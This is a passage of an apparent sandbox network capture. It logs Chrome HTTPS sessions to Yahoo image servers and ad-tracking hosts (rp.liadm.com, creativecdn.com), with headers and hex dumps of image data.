16 91 e9 47 c2 d1 42 c4 43 14 47 f3 a6 3f c6 06 Data Ascii: S[msIG?^rPjzZ^u&K[p}I#ga-LQROdrlISLdd]-e.,*2HH.A/]1^dW-(gh!rWX@?\|x,5?+}~HH332a]q'-JAD!o s}toMuGBCG?
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 00 58 2a 14 71 d8 07 87 ec 2c bf 1b 1a c7 41 e8 9e ce dd 34 25 da bc ad e7 50 c2 23 b7 50 40 ca d2 96 47 0e 25 70 4f 11 82 83 2c c7 2d e0 67 9c 67 39 27 b1 aa 18 2a 06 9f ad 82 28 ed 37 17 8f 7c b7 1a 05 8e 3c 1e 7d 46 c1 6c 0f 27 91 8f d4 8e a4 ec a1 9d a0 fb 19 a8 b5 fe b2 82 86 d7 4f 1c d7 57 82 a2 b9 de b2 5d 90 d1 d3 a2 83 2d 54 cd 83 b1 47 ca 0b 60 9f ca 00 24 80 4e 5c 01 2e 0d 8e e8 fe 17 3b 85 74 d2 69 75 d3 14 f4 9a 8e 36 59 ea 6d d3 db 99 c4 ce 22 25 1d 96 9a 65 8e 77 52 43 ae 55 0f e5 27 c7 55 9b 17 16 b2 54 fa 7a d9 e9 a1 8a ef 49 94 ab b6 b7 a8 a3 3c aa 67 e7 1f b1 e7 f4 27 a8 8a de 47 a7 94 58 ed 2b dc ab 35 2e 95 5a df e1 b4 d5 92 b3 ad 55 25 34 b1 2c a9 51 2f 80 95 3b f3 bd 29 d8 9d b1 8e 09 11 f0 42 e4 36 22 9a ce cd bd 35 a4 35 5e b3 d5 Data Ascii: Xq,A4%P#P@G%pO,-gg9'(7\|<}Fl'OW]-TG`$N\.;tiu6Ym"%ewRCU'UTzI<g'GX+5.ZU%4,Q/;)B6"55^
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: a4 39 f5 2c e2 69 96 a1 10 86 05 7e 77 85 9b 1e d8 f3 8e 66 4c 26 5a 9b 6e a3 ed 97 73 2d da 76 82 d7 a6 2d a2 ba b5 e9 2b 69 a4 a7 89 52 b1 68 0c 61 a0 8a 92 56 da d1 bc 2a ca 02 a1 cf 0c dc 6d 6c d5 53 4d e8 49 e6 ef e2 3b 40 cd 45 f8 8f d6 14 ba 1a d6 b5 94 35 57 6a c9 23 a5 a3 6d e8 8e 1f 13 6c 38 1f 2b 1d df d4 f5 62 31 c8 c8 6c 8b ed 5e 9c d7 96 cd 57 fd 81 a0 d3 13 cb 51 55 3a 9a 05 99 54 1a 79 d8 64 b1 c9 c8 c0 39 6c 72 36 13 c6 33 d3 54 46 31 ef 7e a0 d6 fd 8a b6 55 e9 4d 2d a9 f4 f5 da eb 74 06 aa e1 54 f6 d9 62 ab 40 dc 00 67 13 91 c0 c8 5f 90 60 73 80 4e 7a 12 05 1d af ba 8d 0c b5 76 ea bd 37 72 8d df 30 99 68 93 d7 52 be fb 58 84 20 1f 1e 3e bd 73 93 0d 21 99 da 09 26 ac d4 15 fa 9a ba 9a 3a 77 a7 a7 f8 5b 74 52 c8 a3 e0 e3 90 9d f3 30 0c 47 Data Ascii: 9,i~wfL&Zns-v-+iRhaV*mlSMI;@E5Wj#ml8+b1l^WQU:Tyd9lr63TF1~UM-tTb@g_`sNzv7r0hRX >s!&:w[tR0G
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 18 6f 02 37 10 ac 8b ce 30 b9 3c 91 80 4e 3a 4d bd b3 ce 59 5d f2 1c 58 74 d5 27 6e ad eb 71 ae a2 37 7d 4d 74 06 3a 58 31 b9 98 bf 2c 59 bf c1 9c 6e 20 67 38 03 27 ad 0e c6 83 0a 29 20 8f b3 d6 4a bd 43 78 96 3b 86 b9 be 23 39 73 cf c3 a9 c1 38 1e 02 af 07 00 7c c5 54 03 85 e8 9a 27 22 22 f7 75 9a b6 b6 a2 aa a6 79 6a 6b ea a4 32 cb 34 8f b8 82 79 39 fd f3 c7 4a 90 4a 20 b5 e6 f5 05 8c 45 1d 2d 38 9e be a0 e2 9a 12 32 09 1e 59 8f 80 a3 3c 9f bf 00 f4 23 16 f8 05 a7 b7 a5 3c 33 54 df 75 14 c2 4a b7 33 54 16 98 a2 3b 9f a2 8e 30 06 00 1e d8 ea 3b d4 7d c5 fa 45 37 c0 c8 ec 07 6c 2e 9a c7 5e d9 6b 2d bd be b8 5c ec 34 93 1a 8a ea 8a 9a 36 8e 88 c2 11 89 2c ef 80 dc 81 85 19 24 fd 3c f5 93 d4 ae e9 4a 94 92 66 ad ad 9f 6a cb 45 a2 fc 2c 53 2c 3d ba d7 15 a9 Data Ascii: o70<N:MY]Xt'nq7}Mt:X1,Yn g8') JCx;#9s8\|T'""uyjk24y9JJ E-82Y<#<3TuJ3T;0;}E7l.^k-\46,$<JfjE,S,=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
258	192.168.2.4	50038	3.229.34.212	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:00 UTC	643	OUT	GET /j?se=e30&cd=.yahoo.com&dtstmp=1714257718141&tv=8.37.0&did=did-004f&wpn=prebid&pu=https%3A%2F%2Fwww.yahoo.com%2F&gpp_as=-1&us_privacy=1YNN&duid=05c3ae107b3d--01hwgvhtc3s7ykx09q1gdbfw31&gdpr=0&n3pc=true&gpp_s=DBAA HTTP/1.1 Host: rp.liadm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: lidid=7de677f8-dda1-428e-88ae-9b2fad295b01; lidid=7de677f8-dda1-428e-88ae-9b2fad295b01
2024-04-27 22:42:00 UTC	308	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:42:00 GMT Content-Type: application/json Content-Length: 13 Connection: close X-Pixel-Event-Id: 251330d6-19de-47f8-b490-fc170399ffab set-cookie: lidid=7de677f8-dda1-428e-88ae-9b2fad295b01; Max-Age=63072000; Domain=.liadm.com; Path=/j; Secure; SameSite=None
2024-04-27 22:42:00 UTC	13	IN	Data Raw: 7b 22 62 61 6b 65 72 73 22 3a 5b 5d 7d Data Ascii: {"bakers":[]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
259	192.168.2.4	50040	185.184.8.90	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:02 UTC	709	OUT	GET /cm-notify?pi=rmx-pbs&_origin=0&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&tc=1 HTTP/1.1 Host: creativecdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: g=Ae9Pv17JW9jx3PfTe025_1714257720455; ts=1714257720
2024-04-27 22:42:02 UTC	310	IN	HTTP/1.1 200 OK date: Sat, 27 Apr 2024 22:42:02 GMT vary: Accept-Encoding content-type: image/gif cache-control: no-cache, no-store, must-revalidate, private, max-age=0 pragma: no-cache date: Sat, 27 Apr 2024 22:42:02 GMT expires: Thu, 01 Jan 1970 00:00:00 GMT content-length: 42 connection: close
2024-04-27 22:42:02 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
260	192.168.2.4	50042	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:02 UTC	522	OUT	GET /uu/api/res/1.2/BTR8joxFvQtaUQF5ENZGag--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2024-04/16743fc0-037c-11ef-aef3-f8ed857fa8aa.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:02 UTC	1282	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 505641441753423555534039224668821928737,346349957385992108437133608500309371301,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="16743fc0-037c-11ef-aef3-f8ed857fa8aa.webp" Edge-Cache-Tag: 505641441753423555534039224668821928737,346349957385992108437133608500309371301,ae7a14591aaf8d474cdb3f92111c923e Etag: "0fb8449c705ff58ef6d22a2548de9571" Last-Modified: Fri, 26 Apr 2024 03:22:59 GMT Server: ATS Status: 200 OK Surrogate-Reporting: width=300,height=156,bytes=4644,owidth=1200,oheight=700,obytes=487042,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Request-Id: 550db0bb2a66e745fb2c207ceb70f269 Accept-Ranges: bytes Date: Sat, 27 Apr 2024 19:44:29 GMT X-Served-By: cache-lga21959-LGA X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 0 X-Timer: S1714247069.225413,VS0,VE2 Age: 10653 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_id: 550db0bb2a66e745fb2c207ceb70f269 cld_by: cache-lga21959-LGA cld_latency: 2 Referrer-Policy: no-referrer-when-downgrade Vary: Accept Content-Length: 13688 ATS-Carp-Promotion: 1
2024-04-27 22:42:02 UTC	197	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Connection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-04-27 22:42:02 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 03 02 02 02 02 02 03 02 02 02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05 06 09 08 0a 0a 09 08 09 09 0a 0c 0f 0c 0a 0b 0e 0b 09 09 0d 11 0d 0e 0f 10 10 11 10 0a 0c 12 13 12 10 13 0f 10 10 10 ff db 00 43 01 03 03 03 04 03 04 08 04 04 08 10 0b 09 0b 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ff c0 00 11 08 00 9c 01 2c 03 01 11 00 02 11 01 03 11 01 ff c4 00 1d 00 00 01 03 05 01 00 00 00 00 00 00 00 00 00 00 00 00 06 07 08 01 02 03 05 09 04 ff c4 00 47 10 00 01 03 03 02 05 02 03 04 07 05 07 01 09 00 00 01 02 03 04 00 05 11 06 12 07 13 21 31 61 41 51 08 22 71 14 81 91 a1 15 23 32 Data Ascii: JFIFCC,G!1aAQ"q#2
2024-04-27 22:42:02 UTC	1300	IN	Data Raw: 3b 54 eb 20 83 b5 c4 0c 74 18 0a db 85 75 c1 1a bd 0d 45 25 66 76 5a 69 4f 81 d4 61 c4 f6 b5 b5 b6 35 eb 4c ce 6c db 66 36 1d 65 d6 ba f3 12 ae dd 7d 3d 7a 55 8e 9b 53 f0 6b 30 76 8c 75 15 27 f3 1a dd b5 2a 56 5d 28 a8 f4 90 6d f3 4f 1c 5a b4 67 1d 69 1f 42 72 ae cc 0c 4c 85 25 ae 73 13 19 79 1b 8a 37 34 e0 5a 42 86 32 32 3d 7a d3 ad 02 9c 7f 26 42 d6 07 4e b4 9f e0 7d aa 2b cb f3 48 36 ec 39 7e 68 15 30 e5 f9 a0 5b 2b b6 92 83 a7 e4 be 57 10 64 68 4b 5b d7 57 9d 53 cc b2 9c 86 48 dd b8 f6 00 7a 8c 9c 76 ae 5c cc 85 8d a0 f5 4a 7d c7 07 43 25 f8 12 6d cb e2 2f 1b 2d 4d dc f5 64 c5 e9 eb 2c ac a9 bb 53 07 0e a9 b3 fb 25 d2 3a 82 7a 1c 05 1e 84 7d 2b 0d 2d d3 5f 2d b4 70 43 69 d0 c6 ec 4d dc f8 32 ee 82 96 de b2 d0 3a 92 f5 12 e1 04 2d 45 85 4c 53 8c ba 31 Data Ascii: ;T tuE%fvZiOa5Llf6e}=zUSk0vu'*V](mOZgiBrL%sy74ZB22=z&BN}+H69~h0[+WdhK[WSHzv\J}C%m/-Md,S%:z}+-_-pCiM2:-ELS1
2024-04-27 22:42:02 UTC	1300	IN	Data Raw: e8 19 ce 02 92 0f f5 ab 94 ba b3 64 a6 a8 c1 aa ee e3 4e 69 7b ce a3 50 2a 4d aa df 22 6a 93 e8 43 48 2b eb ff 00 db 44 95 45 b0 94 aa 36 72 f7 81 96 a8 72 ee 13 f5 be a9 80 fc d9 4e 4e 75 a4 ba 92 de 43 a9 c1 53 bf ac 52 53 d4 ab b7 5e dd 2b cf 37 69 39 ca 93 38 b6 a8 a7 37 af 22 5d df f8 99 a1 1f d0 8d be c3 4e b8 1b 22 31 68 45 1c e2 f9 fd cd a5 5b 7e fd d8 03 35 4d 16 ef d1 65 ef 1b fa c4 76 e1 24 8b 76 9f f8 9b d0 7a 83 4c 47 44 68 17 fb a3 d0 1c 6d 2f a5 c2 95 29 a5 21 40 94 64 10 79 98 db 9e 84 7b 01 9d 8e d3 2f 08 a4 cb 5c 75 a0 d7 47 49 03 67 23 a6 2b 5e 9f 45 82 68 c8 1a 18 eb 40 d0 e5 a6 80 02 da 68 7d 2b 15 c9 24 43 6e 39 f1 6a 33 9a 8a 6c 45 3a a7 0b 37 98 90 d9 64 77 e5 36 f0 2b 59 f6 05 2d 90 7f f5 ac 16 ea de 46 41 ca da 72 a6 48 cb 97 12 Data Ascii: dNi{P*M"jCH+DE6rrNNuCSRS^+7i987"]N"1hE[~5Mev$vzLGDhm/)!@dy{/\uGIg#+^Eh@h}+$Cn9j3lE:7dw6+Y-FArH
2024-04-27 22:42:02 UTC	1300	IN	Data Raw: 59 74 72 e5 29 5d 83 df b0 d0 fe 16 d0 30 94 0f 00 7d 73 5e 7f 97 9d 93 96 ef 59 9a 78 e9 47 11 56 92 11 bc 5a d3 7a 7e 5d eb 41 ca 4c 26 77 a7 53 b2 d8 50 40 0a 09 54 77 c2 86 7d 88 1d 6b bb 12 4e a5 d9 c1 90 9b 69 d0 b6 d3 dc 38 d1 7a 56 dc 9b 75 9a 2b c1 23 03 05 c2 77 01 db 76 7b e3 b0 f1 50 4b b2 c9 2a 88 a1 8d 6e 8c d3 09 8e 86 50 90 8e df 2d 45 c5 0c ff 00 26 96 f9 a4 2c d7 94 29 ab 8a 86 14 3b 04 8a 2f 8b 1e a2 da 1a 1b 57 04 34 03 7c 6c 55 b5 ab 2c 75 40 83 a6 04 c7 9b 71 94 a8 17 64 4a 5a 52 4e 47 a8 6d 75 67 cd fb 7b b3 91 c5 7a fe 07 3d 72 a4 e8 97 8b 1a 1a 40 62 33 03 ff 00 83 58 0b 68 01 e8 01 ea 07 7e c4 1f 34 dc 5d e3 5f 13 f6 d9 32 8f 62 7f e2 0b 8b b6 7b bf c3 de aa 64 94 46 bb 3e 22 43 5c 45 38 3e 60 ec 96 d2 a5 a4 e3 aa 42 0a b3 d3 23 Data Ascii: Ytr)]0}s^YxGVZz~]AL&wSP@Tw}kNi8zVu+#wv{PK*nP-E&,);/W4\|lU,u@qdJZRNGmug{z=r@b3Xh~4]_2b{dF>"C\E8>`B#
2024-04-27 22:42:02 UTC	503	IN	Data Raw: 5d fc b2 20 c8 c6 68 59 3a b7 24 e5 b6 15 b1 b3 ff 00 17 d4 fd 3c 79 fc 3c c1 b9 ee 9f d1 d1 ff 00 e9 15 b8 9e 3b e4 6b 63 10 f9 6f 16 5e 43 a0 85 24 8c 8e 9e f9 fa d6 69 c9 cb cb 1b eb 35 f6 1a ad 2f c1 6e 1c 6a 58 fc a4 c1 76 1c 98 cb 71 29 7a 2b a5 b2 a4 6f 51 00 a4 74 e8 08 4f 6e c2 9b 41 eb 8e 46 99 d2 d6 7d 23 6b fd 01 68 8a 86 1a ce 42 fb 97 15 ee 7c d2 71 27 52 b1 3b 2b 48 bf 36 db 3a 62 c2 0b a1 4b 6d a4 79 27 de 9c ba 15 4a fa 1a ed 61 f0 ec 9d 50 00 b8 c2 65 e0 41 ce e6 c6 41 f4 50 3d c1 14 f6 be 5a 18 d7 42 26 c9 c3 f9 3c 2d bb 07 ee c7 ed 96 d7 24 30 90 eb 24 73 01 e6 00 12 30 4e 49 0a 23 d3 34 98 ef 8c 93 39 dc 79 13 6b 4d eb dd 3d 7b 61 88 a9 92 a8 92 c2 02 7e cf 25 3c b5 ab a0 fd 92 7a 2f fe 92 6b 75 89 97 a3 ae bc 94 59 58 ba da 0f a1 50 Data Ascii: ] hY:$<y<;kco^C$i5/njXvq)z+oQtOnAF}#khB\|q'R;+H6:bKmy'JaPeAAP=ZB&<-$0$s0NI#49ykM={a~%<z/kuYXP
2024-04-27 22:42:02 UTC	1300	IN	Data Raw: 14 8f 35 e4 4e a2 73 b7 8f 9f 6d b3 ea 58 9a 52 70 71 2e 59 e3 a9 b7 1b 5a b2 50 f1 71 41 c1 db dd 03 af ad 3f 6b c3 e0 e7 65 27 c4 0e fe e5 9c 21 f8 91 e2 87 08 54 62 69 cb ab 52 ad 65 7c c7 2d 93 90 5d 8c 54 7b 94 80 42 9b 27 f9 14 33 eb 9a ed ca da 34 32 4a ec 4c ec 8c 5f 2c 72 af 1f 1c fa b9 f7 91 36 d1 a2 2d 30 a6 86 79 65 6e c8 71 f6 b7 1e eb 08 c2 4f a0 c0 2a 3f 7d 57 7f e3 fa 0b cc 8b 27 f1 0b aa 51 19 0d 7f c4 cd 71 c4 f9 66 ed ad f5 0c 8b 9b cd 15 72 50 b3 b5 a6 02 b1 b8 36 da 70 84 03 81 9d a0 67 03 39 ab 5c 4c 2d 0c 5f da 45 2e 56 6e be 53 fa a6 0e 19 26 63 da ee c8 8b 7b 85 12 3e d2 92 14 3f 80 75 5f fd b9 1f 7d 47 bb b5 ed a7 65 96 cf 6f 22 14 74 2a d3 26 25 83 4b 37 15 e8 d1 da 0d 24 65 cd b9 5e 0f 9f ba bc a6 4d db a3 d2 97 81 59 71 bb 97 Data Ascii: 5NsmXRpq.YZPqA?ke'!TbiRe\|-]T{B'342JL_,r6-0yenqO?}W'QqfrP6pg9\L-_E.VnS&c{>?u_}Geo"t&%K7$e^MYq
2024-04-27 22:42:02 UTC	1300	IN	Data Raw: ba 14 b8 4e a7 95 2d 00 ff 00 c3 ce 77 0f 20 e0 8f fd 69 fd 9c d2 56 e8 93 7f a4 e0 5e 6d 2c dc ed 52 12 fc 59 09 dc db a8 39 0a ff 00 f9 ea 3b 83 d0 d0 21 65 91 0c 5c 5b 75 e2 a2 76 2b 6e 3f 1a 91 2b 1d 74 7a ae 0e 43 b5 c5 5c a7 de 6d 96 db 49 52 94 e2 b6 a4 01 dc 93 e9 49 e0 5e 5d 11 73 88 5c 58 8d 77 d6 76 eb a4 77 52 2d b6 c9 ad 88 e7 1f e2 65 60 2d df e8 3c 7d 69 78 b2 3e 42 4e f7 c5 9b 56 ad d4 53 2d 56 f4 3e 7e c8 e9 65 e7 1c 1b 70 bc f5 00 77 f4 f5 c5 23 b5 e4 97 4d db 14 3c 28 e2 02 74 27 11 ac f3 a4 b8 51 06 79 55 be 60 fd d0 d3 85 3f 31 f6 da a0 85 67 d8 1a b3 da b2 78 eb d3 21 cb 8d c4 9b e5 7e 2b 62 9d ab 29 9a a6 55 2a f1 4a 98 d0 e6 0a 5f 21 56 50 b9 83 4c 61 c4 b7 76 7b 8a 54 1c 40 90 3d 29 c9 58 71 2e dd e2 90 5a 28 48 34 07 13 06 ef 14 Data Ascii: N-w iV^m,RY9;!e\[uv+n?+tzC\mIRI^]s\XwvwR-e`-<}ix>BNVS-V>~epw#M<(t'QyU`?1gx!~+b)U*J_!VPLav{T@=)Xq.Z(H4
2024-04-27 22:42:02 UTC	1300	IN	Data Raw: b5 47 88 52 0a 96 e6 3f 88 d7 1a fc 1c 74 6d 1c c2 f1 9a 57 d8 83 3f 7c bc 2a e3 ab 6e 0d b8 9d 9f 63 3f 65 8e 9d d9 09 4a 46 7f cd 47 f2 1e 95 59 97 f9 35 bb 42 5e 87 43 39 c6 fd 5b a8 6c 0f 44 b5 e9 db 6c 99 b2 ee 8f 88 ed 22 3a 0a d6 56 7b 00 90 09 51 3d 7a 55 7c 62 f2 5f 14 59 b9 28 76 c6 ba 7f 09 3e 23 cc 75 bc d7 06 2e 52 54 e1 dc b7 5d b8 42 2f 2c f9 48 77 38 f6 18 ae b8 ec d9 1f 63 95 ee 9a 0b a1 33 13 82 df 14 97 29 9c 86 f8 45 3a 29 70 60 ad f9 31 da 42 7e f5 38 07 f5 a9 df c3 f9 2d 72 90 2d d1 3e a2 7b 35 7a ee fa 46 42 a1 df 23 aa 3c 88 b9 66 5a 02 82 83 6f 27 a2 c6 47 43 d7 d4 74 ae 79 41 c3 af c1 c7 cf 97 68 f0 da 78 87 6b 49 05 d9 61 3d 3f 7b a6 69 54 6c 0d 6d f3 89 16 d7 5c 53 51 a4 05 29 47 b2 3a d3 fd 0b 00 8b ac 12 dc 64 f3 dd c0 3d b1 Data Ascii: GR?tmW?\|*nc?eJFGY5B^C9[lDl":V{Q=zU\|b_Y(v>#u.RT]B/,Hw8c3)E:)p`1B~8-r->{5zFB#<fZo'GCtyAhxkIa=?{iTlm\SQ)G:d=
2024-04-27 22:42:02 UTC	1300	IN	Data Raw: ad 06 d9 3c de db 26 62 4f 76 d9 04 01 e6 bd 13 3f 5e e2 92 3c f6 7d b3 d2 47 7c 1a ad 23 bb 3c b2 13 91 df d6 9c 20 86 e2 7e 9c 56 a1 d3 6e 22 2a 37 5c 21 2c 4b 85 ec a7 13 d0 a0 f8 52 4a 93 e3 76 7d 2b 97 22 3c 91 dd 83 93 ed f5 86 9d c5 b1 a8 f4 e0 92 ca 8a b9 89 f9 d2 46 0a 55 e7 f3 aa 89 c6 a9 9b 94 f9 43 a1 ef e1 56 a6 5e a9 d1 d1 5e 96 ee e9 f0 c7 d9 65 83 ea b4 7c bb f1 fc d8 cf df 5b 5d af 27 d7 d1 31 b9 6b db eb 34 2c b9 78 c1 db f9 d5 bd aa 38 dc c8 77 f1 5f 1a 3b bc 45 2b 8e bc 11 6e 60 38 31 fb fb 96 7f c8 a6 b1 9b a7 ef b4 5d 62 77 a2 30 cf 36 53 8e 9d aa b4 9c b4 9d bd 31 4e a0 3c d2 5f 5a 00 d8 71 9c e6 94 0d 63 d3 64 b4 b4 3c 90 85 f2 d4 15 b5 69 c8 56 08 38 3e 3a 54 f1 74 d0 d5 1e 5d 1d 2d e1 56 bf 8f c5 0d 0b 6b d5 ed c4 fb 1b f2 9a 02 Data Ascii: <&bOv?^<}G\|#< ~Vn"*7\!,KRJv}+"<FUCV^^e\|[]'1k4,x8w_;E+n`81]bw06S1N<_Zqcd<iV8>:Tt]-Vk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
261	192.168.2.4	50041	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:02 UTC	522	OUT	GET /uu/api/res/1.2/I.FslbBmdOaA_GV99DsKiA--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2024-03/36fc42d0-ed81-11ee-adfd-72161754983a.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:02 UTC	1299	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 420339600279454501892562558246924777508,346349957385992108437133608500309371301,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="36fc42d0-ed81-11ee-adfd-72161754983a.webp" Edge-Cache-Tag: 420339600279454501892562558246924777508,346349957385992108437133608500309371301,ae7a14591aaf8d474cdb3f92111c923e Etag: "df7e1d5f8f280553cc592d04a24f47ca" Last-Modified: Sat, 27 Apr 2024 19:03:08 GMT Server: ATS Status: 200 OK Surrogate-Reporting: width=300,height=156,bytes=10912,owidth=4000,oheight=4821,obytes=5523206,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Request-Id: eedaaf28da87ac01e597264b7d1232f4 Accept-Ranges: bytes Date: Sat, 27 Apr 2024 19:44:29 GMT X-Served-By: cache-iad-kiad7000028-IAD X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 0 X-Timer: S1714247069.230426,VS0,VE2 Age: 10653 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_id: eedaaf28da87ac01e597264b7d1232f4 cld_by: cache-iad-kiad7000028-IAD cld_latency: 2 Referrer-Policy: no-referrer-when-downgrade Vary: Accept Content-Length: 24164 ATS-Carp-Promotion: 1
2024-04-27 22:42:02 UTC	197	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Connection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-04-27 22:42:02 UTC	767	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 03 02 02 02 02 02 03 02 02 02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05 06 09 08 0a 0a 09 08 09 09 0a 0c 0f 0c 0a 0b 0e 0b 09 09 0d 11 0d 0e 0f 10 10 11 10 0a 0c 12 13 12 10 13 0f 10 10 10 ff db 00 43 01 03 03 03 04 03 04 08 04 04 08 10 0b 09 0b 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ff c0 00 11 08 00 9c 01 2c 03 01 11 00 02 11 01 03 11 01 ff c4 00 1d 00 00 02 03 01 01 01 01 01 00 00 00 00 00 00 00 00 06 07 04 05 08 03 09 02 01 00 ff c4 00 58 10 00 02 01 03 03 02 04 03 04 05 05 0a 08 0c 07 00 01 02 03 04 05 11 06 12 21 00 31 07 13 22 41 08 51 61 14 32 71 81 15 23 42 91 Data Ascii: JFIFCC,X!1"AQa2q#B
